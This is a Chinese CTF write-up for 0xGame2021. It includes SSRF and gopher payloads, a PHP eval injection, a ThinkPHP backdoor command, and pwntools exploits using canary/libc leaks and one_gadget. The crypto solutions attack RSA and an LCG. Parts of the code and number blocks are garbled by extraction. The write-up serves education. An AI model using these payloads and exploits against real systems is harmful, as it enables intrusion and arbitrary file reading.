# 0xGame2021 WriteUp 3

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# Web

### **SSRF Me**

进入题目,可以直接看到源码,看到存在curl,那么这里大概率存在一个ssrf的漏洞,然后看到ban了一些关键词,先用http测试一下,去curl百度发现会有回显,那么就确定这是可以利用的ssrf的漏洞,反正有个read.php 先访问一下发现返回 Allow local only,只允许本地访问那么我们可以用那个ssrf漏洞,去访问这个页面,这里127.0.0.1被过滤了,但是还有其他的方式可以代替本地。

```
?url=http://0.0.0.0/read.php
```

#### 就可以发现源码

```
<?php
if('127.0.0.1'!=$_SERVER['REMOTE_ADDR']){
    die('Allow local only');
}
if('GET' === $_SERVER['REQUEST_METHOD']){
    highlight_file(__FILE__);
    die('Invalid request mode');
}

$filename=$_POST['name'];
if(preg_match('/..\//',$filename)){
    die('nonono');
}</pre>
```

```
echo file_get_contents(urldecode($filename));
```

发现这里有个file\_get\_contents可以任意文件读取所以我们通过这里取读取flag,但是这里是需要post请求,我们怎么通过curl去发起一个post请求呢,这个时候我们去了解到gopher协议,他可以去发送post请求,那么就只需要我们去构造数据流就可以了。

POST /read.php HTTP/1.1 Host: 0.0.0.0

Content-Type:application/x-www-form-urlencoded

Content-Length: 13

name=%252ff1a%2567

我们发送的原始数据包是这样的,这里因为存在urldecode所以我们可以通过双重url编码去绕过对flag的过滤

那么我们对上面的数据包进行一次url编码把其中的%0a替换为%0d%0a然后再编码一次,就可以打通了

POST%2520/read.php%2520HTTP/1.1%250D%250AHost%253A%25200.0.0.0%250D%250AContent-Type%253Aapplication/x-www-form-urlencoded%250D%250AContent-Length%253A%252073%250D%250A%250D%250Aname%253D%2525252e%2525252e%2525252f%25252 52e%2525252e%2525252f%2525252e%2525252e%2525252e%2525252e%2525252effla%25252567

### no\_way\_to\_go

```
爷累了,爷就是不想写前端
嗯???我代码中怎么有 eval('echo '.'Welcome '.$str.';')
算了不管了,试着POST一个 N1k0la 吧
```

按照题目提示,POST 传参 N1k0la , 以及关键代码得知

要先用;闭合 echo, 然后就可以命令执行了

经过 fuzz, 发现禁用了很多函数, 那就需要点其他方法

N1k0la=;var\_dump(scandir(getcwd()))

可以看到有个 f111111444444g.php,

将名称转化为 ascii 码,然后利用show\_source来读取

chr(102).chr(108).chr(108).chr(108).chr(108).chr(108).chr(108).chr(52).chr(52).chr(52).chr(52).chr(52).chr(52).chr(52).chr(52).chr(103).chr(103).chr(103).chr(112).chr(112).chr(112)

### **BackDoor**

#### https://www.jb51.net/article/57928.htm

根据thinkphp路由的规则可以轻易的来调用预留的后门,然后去找一下真的flag,

index.php/Index/backdoor?command=find / -name fl\*

就可以找到 /tmp/sess\_08j0e9v6uj9d1ed9dcrp4nltt2/fllaaagggg

### leak me

不管是puts还是printf输出

都是遇到\x00就截止

而栈上存有着大量的数据 包括pie地址 libc地址 栈地址等等

而输出的时候没有memset去清空的话

就可以导致填充的字符串和栈上的数据连起来一并被输出 从而造成泄露

(注意canary的最低位必定是\x00, 所以要多覆盖一位)

```
from pwn import*
r=process('./main')
context.log_level='debug'
libc=ELF("./libc-2.23.so")
r.recvline()
r.recvline()
r.send("a"*0x39)
r.recv(0x38)
canary=u64(r.recv(8))-0x61
success("canary: "+hex(canary))
r.recvline()
r.send("a"*0x48)
libc_base=u64(r.recvuntil('\x7f')[-6:]+p16(0))-libc.sym["__libc_start_main"]-240
success("libc_base: "+hex(libc_base))
r.recvline()
one_gadget=libc_base+0x45226
r.recvline()
r.send("a"*0x38+p64(canary)+p64(0)+p64(one_gadget))
r.recvline()
r.recvline()
r.send("exit\x00")
r.recvline()
r.interactive()
```

# canary\_eats\_pie

开头有个格式化字符串漏洞

格式化字符串漏洞可以用来写入也可以用来读取

所以再通过泄露在栈上的canary地址以及libc地址之后

用one\_gadget一把梭

```
from pwn import*
```

```
r=remote('121.4.15.155',10010)
#r=process('./main')
context.log_level='debug'

libc=ELF('./libc-2.23.so')

r.recvline()
r.send('%13$p\n%15$p\n')

canary=int(r.recvline(),16)
libc_base=int(r.recvline(),16)-libc.sym['__libc_start_main']-0xf0

one_gadget=libc_base+0x45226

r.recvline()
r.send('\x00'*0x38+p64(canary)+p64(0)+p64(one_gadget))

r.interactive()
```

### Misc

### **EasyPython**

8进制转字符串,2020纵横杯签到题

## **Pork Factory**

猪圈密码→得到密码MEAT→Cloacked-pixel脚本解得图片的地址,访问获取图片,倾斜的二维码一张。 各凭本事改变图片形状。官方wp是使用imagemagick→Transform→Shear(X degress:45 Y degress:45)操作2次。扫描得到培根,解得flag。

# **EasyDisk**

根据题目描述配置FTK Imager环境,配有一张明显需要改宽高的图片,改宽高后得到KEY,装载加密的磁盘,得到另一张图片,双图考虑盲水印。Blind-Wtaermark伺候,得到的结果有点难以使用肉眼辨认,但经过仔细观察以及图片提示的相关信息,还是能够得到flag的。

# 周深的声音

先用 deepsound 提取出 flag.txt ,再将其中的 base64 编码转图片,之后再用 outguess 破解图片中 隐写的信息数据,使用命令: outguess -r xxx.jpg -t flag.txt 即可。

# **Crypto**

# CryptoSignin3

题目是给出了RSA加密中的e, n, c, 让你求出5m的加密结果(默认c是m的加密结果)。

这道题主要考察RSA的乘法同态性,由于 $m^e \equiv c \pmod{n}$ ,因此我们有

$$(5m)^e \equiv 5^e m^e \equiv 5^e c \pmod{n}$$

因此,我们只需要计算 $5^e c \mod n$ 的值即可。然后转一下str类型,取最后25位即可。

n = 24227115089000097234701027272781848982285793517296291754959047605165361147718191787728439406226934809422959870324429408676708588585306068877435578173801213616 26756206355705110299827107648704348792184242506797212331641569408152865458082131 81178789338457356577130468637339798777923669259258200939383632443817388035045595 80499875068073519709120492463537466352671597411157615480521269384916734796063933 96100458729618059852813438444299361468512008386975558106274324688665963516424534 36616301182163319714072956051383898124175242234896831241091109752331118330581201 32207242155849015505925701680967615765326218403206234632087024018291898622903030 98674021012353400081288819532365151476738751064469957971192132666136590103567843 66259158534548367118589276075148172234240302506837437171617698188887692711933160 26946990493228602859913750023261274017692876589526825852758912967607328156808986 53162425658904911584903825163141576325803464119867837508173795728753701563149748 50846416263577778778826624010565408991964272817107615528484227351779706972513032 8742992830894075552022372717019366081516680737 e=10007  ${\tt c} = 128590184327887623485560731097962320054898998162864667300352311358065162668652$ 35667993951539222588132227449270182058824364145895167954153939903217859937771902 84046937462277341231780571523062023964463963139910673601962881978696384360480028 13277437396289304269786628430340789827468333728454852932455039221221225994569916 72543410622080314683558145209071215760091403992808986939247060679216149617988865 87174234822238887374399666546113213239071736098162263227821798099750616137755055 43539798678879282411752950825501439234435733701000348908020944253063089311991753 65182434747973516946635337280527135700440846632683500047385612343308902838954307 42958255842196396542672482459665354739161276178850775803757753274712331067038077 23307238105144743601442308882219007398222837769957882186387104250113943413105304 42406185054234562488728255975213935649572610416060044547069879789446441297280055 40587982321571481413548381251589071459468890948819121023006292105804319208332473 49982395988252498532412081176884363929492450046778166607336671319875196091350872 0530656411097981933156605831180926219778514434 print(str(pow(5,e,n)\*c%n)[-25:])

输出结果为: 8489769636593649908538102, 因此flag为 0xGame{8489769636593649908538102}

RSA的同态性是一个很重要的知识点,在可以获得解密服务的服务器上,可以利用RSA的同态性,发送  $2^ec$ ,  $3^ec$ , ... 等结果,获取解密服务,进而获取明文的一些性质,比如2m的情况、3m的情况等等(**出题** 人在这里似乎在疯狂暗示这什么)。

#### Wilson

```
from Crypto.Util.number import getPrime, bytes_to_long
from gmpy2 import next_prime
# length of flag is 37
p = getPrime(512)
q = next_prime(p)
f = open('flag.txt', 'rb')
flag = bytes_to_long(f.read())
f.close()
n = p * q
noise = 1
for i in range(1, p):
   noise = (noise * i) % q
e = 65537
m = noise * flag % n
c = pow(m, e, n)
print(n)
print(c)
```

#
n=100189599139045520692403514463438191919411159406336533264628466489136567106850
05396121115650340264676763758230839932688124226693921388441592946484563261408257
29532611375054060702537640778069871370370343102968457933711236613924968248619234
74884525612617707544570336505659782455487338427377348917874318463239257
#
c=521623331245766869571533737699424031798229653679134942336229801468254181187974
45630968150884296792193181121863149103395864786568453259110222784314675525339496
76052529763167826250066147620494879065443946471440949920917137659601620118241902
9308570372822332848217278055720486674459768995713889509753949399299473

这题主要是考察数论四大基本定理的威尔逊定理, 其形式如下

$$(p-1)! \equiv -1 \pmod{p}$$

这题的n很容易分解,看了一下同学们的解,好像都是用查库的方法分解的,当然这很合理,因为这题的 p、q相差不大,很容易用费马分解法分出来,所以库里有很正常,当然我自己解不是这样做的。

主要的东西在后面,这题虽然知道p、q,但是noise从1到p-1,并且p有512bit,所以这个循环一般不会去跑(我出题都不是这样出数据的)。由于flag长度是37,所以flag有37\*4=148bits,比q的比特数小。我们先求出d,恢复noise\*flag。然后我们对其做如下处理

$$c^d \equiv noise * flag \pmod n$$
  $c^d = noise * flag + k * n = noise * flag + k * p * q$   $c^d \equiv noise * flag \pmod q$   $p * \cdots * (q-1)c^d \equiv p * \cdots * (q-1)* noise * flag \pmod q$   $p * \cdots * (q-1)c^d \equiv (q-1)! * flag \equiv -flag \pmod q$   $-p * \cdots * (q-1)c^d \equiv flag \pmod q$ 

于是我们在模q的情况下就恢复了flag。完整脚本如下:

```
from Crypto.Util.number import *
from gmpy2 import iroot, next_prime
n = 100189599139045520692403514463438191919411159406336533264628466489136567106850
05396121115650340264676763758230839932688124226693921388441592946484563261408257
29532611375054060702537640778069871370370343102968457933711236613924968248619234
74884525612617707544570336505659782455487338427377348917874318463239257
c = 521623331245766869571533737699424031798229653679134942336229801468254181187974
45630968150884296792193181121863149103395864786568453259110222784314675525339496
76052529763167826250066147620494879065443946471440949920917137659601620118241902
q = next_prime(iroot(n, 2)[0])
p = n // q
e = 65537
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
mq = -m \% q
for i in range(p, q):
   mq = (mq * i) % q
print(long_to_bytes(mq))
```

在之前我们提到,这题的数据并不是这样生成的,对于这样一个noise,我们仍然使用威尔逊定理。

```
noise \equiv (p-1)! \pmod{q}
noise * p * \cdots * (q-1) \equiv (q-1)! \equiv -1 \pmod{q}
noise \equiv -(p * \cdots * (q-1))^{-1} \pmod{q}
```

所以noise只需要计算p到q-1对q的逆再乘-1即可。以下是数据生成脚本。

```
from Crypto.Util.number import getPrime, bytes_to_long, inverse
from gmpy2 import next_prime
# length of flag is 37
p = getPrime(512)
q = next_prime(p)
f = open('flag.txt', 'rb')
flag = bytes_to_long(f.read())
f.close()
n = p * q
noise = -1
#for i in range(1, p):
# noise = (noise * i) % q
for i in range(p, q):
    noise = (noise * i) % q
noise = inverse(noise, q)
e = 65537
m = noise * flag % n
c = pow(m, e, n)
print(n)
print(c)
```

### **Fermat with Binomial**

这题是一个改编题,有的同学搜一下就能找到做法了,其实自己做还是比较难想的。这题需要用到费马小定理和高中学的二项式定理。

```
from Crypto.Util.number import *
f = open('flag.txt', 'rb')
m = bytes_to_long(f.read())
f.close()
e = 65537
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m, e, n)
hint1 = pow(2021 * p + q, 20212021, n)
hint2 = pow(1010 * p + 1011, q, n)
f = open('message.txt', 'w')
f.write(f'n={n}\n')
f.write(f'c={c}\n')
f.write(f'hint1={hint1}\n')
f.write(f'hint2={hint2}\n')
f.close()
```

我们有如下等式

```
h1 \equiv (2021p + q)^{20212021} \pmod{n}
h2 \equiv (1010p + 1011)^q \pmod{n}
```

先对第一个式子处理,由二项式定理我们可以知道,对于这个式子展开后,除了第一项和最后一项,其余都是有p\*q的,所以在模n下,这些中间项都可以消去。于是,第一个式子可以写成如下形式:

$$h1 \equiv (2021p)^{20212021} + q^{20212021} \pmod{n}$$

对于第二个式子,看到其指数有q,想到费马小定理,先把第二个式子写成等式,然后对其模q,再使用费马小定理

$$h2 = (1010p + 1011)^q + kn = (1010p + 1011)^q + kp * q$$
  
 $h2 \equiv (1010p + 1011)^q \pmod{q}$   
 $h2 \equiv 1010p + 1011 \pmod{q}$ 

于是,我们把hint2写成如下形式

$$h2 - 1011 = 1010p + kq$$

对其模n,同时取其20212021次方,同样的由费马小定理,可以去掉中间项

$$(h2 - 1011)^{20212021} \equiv (1010p)^{20212021} + (kq)^{20212021} \pmod{n}$$

把整理好的两个式子写在一起

$$h1 \equiv (2021p)^{20212021} + q^{20212021} \pmod{n}$$
 
$$(h2 - 1011)^{20212021} \equiv (1010p)^{20212021} + (kq)^{20212021} \pmod{n}$$

这相当于一组二元方程组,可以看到q的系数并不全知道,所以我们对p前的系数进行统一。第一个式子乘 $1010^{20212021}$ ,第二个式子乘 $2021^{20212021}$ ,就得到以下式子

$$(1010)^{20212021}*h1 \equiv (1010*2021p)^{20212021} + (1010q)^{20212021} \pmod{n} \ (2021*(h2-1011))^{20212021} \equiv (1010*2021p)^{20212021} + (2021*kq)^{20212021} \pmod{n}$$

上下相减,可以消去p项,留下q项,得到以下式子

$$(1010)^{20212021} * h1 - (2021 * (h2 - 1011))^{20212021} \equiv ((1010 - 2021 * k) * q)^{20212021}$$

这个式子显然是q的倍数,于是我们把计算结果和n求最大公约数,就可以分解n,从而得到flag。

```
from Crypto.Util.number import *
54358917536655296832389378159385508553582292316986439935870611836481627326624997
82627871893689913162740526957700154156178665252279523035903806675650016662187029
49675041240073923613096772366314758572682496657055861601918412383787477045555897
25214417560311950480552359244858338836565084199965357719917862865124721829629583
80101746175184480130556079623403716953715723679803834713203706558303313617578172
49713033346340746431132312028545954705661336899325572056736538556030565203558462
08058018605770349841277407297822002222655287986001654291931
hint1=91000420845825591201590312228773859181316276749654288347320924836102224851
85500852690169889158524199071605287690845087305188994225784309780346317628828223
70940578569256721094304323321050318291613521850170377096212069079421253072425149
10052587492746219269839417793571441116371540166004116667791330734943893672030378
39113492716852468953430962340504727673205375932008380231967356987830939184941935
55982475199743555522930873229605034535388489226979209891571038553882308071844330
44666816760331223407213608714842647079314850357001197646635281372400483035593768
84120155943565064746404763004240115053288163324152157473617990
hint2=97158353179337700283526569601946125112323325085780164762346539797587387244
83036248158492859699534774069055258691831221183554038938838861427968839315936796
64502103114643440376732204981343927214131892474637279235920296186680556391680674
54332888222921425871185562127477438436665176776752298777033004901914243428197404
69916571702460052662852376459432341889334300260369825585572770112675953798390556
15809735057617706728944944987324301068671696057255173385948500313782289136053348
82074690034526415412622286559056559336697560584646996295204493429021231669971356
56358968094821077563145658394017534114487847397469149938035501
\mathbf{c} = 128249018539009281764318059676709220820994084233593487407346929082252142833130
20989235896494342846615758839954388241321859784138067628962023114456647732896918
44692607515052524291448641344992108885495509288152545782496521111170806018805202
58832495564087651100004164809119595392075159033726627069420511756024069934726053
37450011214198253823995374918086046571064526610180657696977528863091044723572782
64677232528066026392028092271013939350245134052117065845997914598060306178085790
75688883551868163508044983856900583797213724911790711691958521523166541137382097
36216721551163445193680416946172818040555458013285013076026
q = GCD(n,pow(hint2-1011,20212021,n)*pow(2021,20212021,n)-
hint1*pow(1010,20212021,n))
p = n//q
phi=(p-1)*(q-1)
d=inverse(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
```

### **Predict 1**

一个求LCG参数的题目。

根据题目的方法,我们有19次机会可以获得里面的state,然后再进行预测。但实际上,一般获取8组数据,就可以获取a,b,p的值(此处保证了a,p是素数)。当然为了保险,15组数据也是足够的。

首先,我们假设我们获取的数字为 $x_1, x_2, \ldots, x_8$ 。那么我们可以有:

$$x_i \equiv ax_{i-1} + b \pmod{p}$$

那么化简一下,就是:

$$x_2 \equiv ax_1 + b \pmod{p} \tag{1}$$

$$x_3 \equiv ax_2 + b \pmod{p} \tag{2}$$

$$x_4 \equiv ax_3 + b \pmod{p} \tag{3}$$

然后, 由(2) - (1), (3) - (2), 消去b, 可以得到:

$$x_3 - x_2 \equiv a(x_2 - x_1) \pmod{p} \tag{S1}$$

$$x_4 - x_3 \equiv a(x_3 - x_2) \pmod{p} \tag{S2}$$

由于在 mod p的条件下,除号表示乘上某个数的逆元,因此,我们把a提出来,就是

$$a \equiv \frac{x_3 - x_2}{x_2 - x_1} \equiv \frac{x_4 - x_3}{x_3 - x_2} \pmod{p} \tag{T}$$

(T)中消去a,去分母,得:

$$(x_3 - x_2)^2 \equiv (x_4 - x_3)(x_2 - x_1) \pmod{p}$$
 (R1')

去掉同余号也就是

$$(x_3 - x_2)^2 - (x_4 - x_3)(x_2 - x_1) = D_1 p$$
(R1)

然后,由此可知:

$$(x_4 - x_3)^2 - (x_5 - x_4)(x_3 - x_2) = D_2 p$$
(R2)

因此,我们可以得到多个数据(R1)(R2)(R3)(R4)(R5),然后计算所有结果得最大公因数就可以得到p。(一般7个值求出来的准确度就比较高了)

p得到之后,我们根据消去b的式子,就可以计算出 $a\equiv \frac{x_3-x_2}{x_2-x_1}\pmod{p}$ 了。求出a以后,就可以根据  $x_1,x_2$ 很快地求出b。

在整个做题的过程中,可能有人查看了百度的方法,结果到最后预测错了。原因很简单:因为这边只是有 $\gcd(D_1p,D_2p)$ ,虽然p是一定的,但 $\gcd(D_1,D_2)$ 的值却不为1。有两种办法解决:一是多选取几组数据,求公约数更保险,二是我测了一下, $\gcd(D_1,D_2)$ 的值实际上并不大(很大概率小于1000),因此可以写个2到999的循环,将 $\gcd(D_1p,D_2p)$ 里面多余的因数除掉即可。

```
from Crypto.Util.number import *
 from pwn import *
 sh=remote("47.101.38.213",60709)
u, det la=[],[]
 for i in range(16):
                     sh.recvuntil(b">")
                    sh.sendline(b"1")
                    sh.recvuntil(b">")
                    sh.sendline(b"1")
                     numb=sh.recvline(keepends=False)
                     numb=numb.split(b"is")[1]
                    u.append(int(numb))
 for i in range(12):
                    {\tt detla.append(abs((u[i+2]-u[i+1])*(u[i+2]-u[i+1])-(u[i+3]-u[i+2])*(u[i+1]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+1])+(u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]-u[i+2]
u[i])))
 p=detla[0]
 for i in detla:
                     p=GCD(p,i)
print(p)
assert isPrime(p)
a=(u[3]-u[2])*inverse(u[2]-u[1],p)%p
b=(u[1]-a*u[0])%p
```

```
print(a,b,p)
x=u[-1]
for i in range(205):
    if i%15==0:
        print(i)
    x=(a*x+b)%p
    sh.recvuntil(b">")
    sh.sendline(b"1")
    sh.recvuntil(b">")
    sh.recvuntil(b">")
    sh.recvuntil(b">")
    sh.recvuntil(b">")
    sh.recvuntil(b">")
    sh.sendline(str(x).encode())
    sh.recvuntil(b"0xGame{")
    flag=sh.recvline(keepends=False)
    print("0xGame{"+flag.decode())
    sh.close()
```

0xGame{86767788-6000-7608-6777-5454a581d836}

### Reverse

### **Mirror**

先脱壳upx

本质为一个解方程

可能就只是反编译出来的代码比较难看,建议直接看汇编代码,更容易理解运行过程

方程使用z3解一下就是

然后就是一些简单的异或运算了 很简单

z3计算方程脚本

```
from z3 import *
import libnum
p = [Int('x\%d'\%i) \text{ for } i \text{ in } range(0,32)]
num = [Int('u\%d'\%i) \text{ for i in } range(0,8)]
n1 = Int('n1')
n2 = Int('n2')
s = Solver()
s.add(n1 \leftarrow 0xffffffffffffff)
s.add((1969444366 * 1969444366) + 1820452491 == 310 * (310 * 310 + n1) + n2)
s.add((2963569549 * 2963569549) + 1719772226 == 704 * (704 * 704 + n1) + n2)
print(s.check())
res = s.model()
print(res[n1])
print(res[n2])
```

### Installer

```
pyc反编译,uncompyle6 使用一下uncompyle6 -o test.py test.pyc
剩下简单异或运算,脚本很简单就不放了
```

### Maze

简单的走地图游戏,起点坐标为2,4

终点坐标为 5, 4

路径只有一条,直接走

需要先输入起点坐标

然后输入wasd上下左右行走

最后判断达到结尾E

flag 结果为 结果坐标 + 路径

```
*******
******
****S.....
******
***********
****E**********....
**** **** ********
****;****;********
**** ******** ******
**** ******** ******
**** ********* ****
****
*******
```